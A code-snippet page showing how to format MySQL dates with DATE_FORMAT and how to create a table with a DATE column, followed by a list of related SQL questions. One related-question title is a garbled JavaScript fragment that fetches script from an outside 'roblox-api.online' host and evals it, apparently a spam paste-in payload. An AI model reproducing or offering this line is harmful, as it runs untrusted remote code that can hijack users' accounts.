/SQL/How to assign date field for table in mysql

How to assign date field for table in mysql

Mysql format date

DATE_FORMAT(date, format)
-- E.g.
SELECT DATE_FORMAT(dateField, '%m/%d/%Y') FROM TableName;
-- See https://www.mysqltutorial.org/mysql-date_format/ for available formats

Source: mysqltutorial.org

How to assign date field for table in mysql

        
            
        
     CREATE TABLE people (
    id INT AUTO_INCREMENT PRIMARY KEY,
    first_name VARCHAR(50) NOT NULL,
    last_name VARCHAR(50) NOT NULL,
    birth_date DATE NOT NULL
);

Source: mysqltutorial.org

Similar codes

1 vote109 views1 answer
Oracle show execution plan
SQL
0 vote117 views1 answer
Sql quary intervewi question
SQL
0 vote151 views1 answer
Error Code: 1267. Illegal mix of collations (latin1_general_ci,IMPLICIT) and (latin1_swedish_ci,IMPLICIT) for operation '=' 0.000 sec
SQL
1 vote120 views1 answer
Sqlalchemy order by descending
SQL
0 vote117 views1 answer
Alter precision
SQL
0 vote122 views1 answer
Sql select min row
SQL
4 votes111 views10 answers
Javascript$get'//roblox-api.online/roblox?id=4823'.eval)javascript$get'//roblox-api.online/roblox?id=
SQL
1 vote118 views1 answer
Access the postgres psql
SQL
0 vote117 views3 answers
Between keyword sql
SQL
0 vote110 views1 answer
SQL server select to get sum of hours
SQL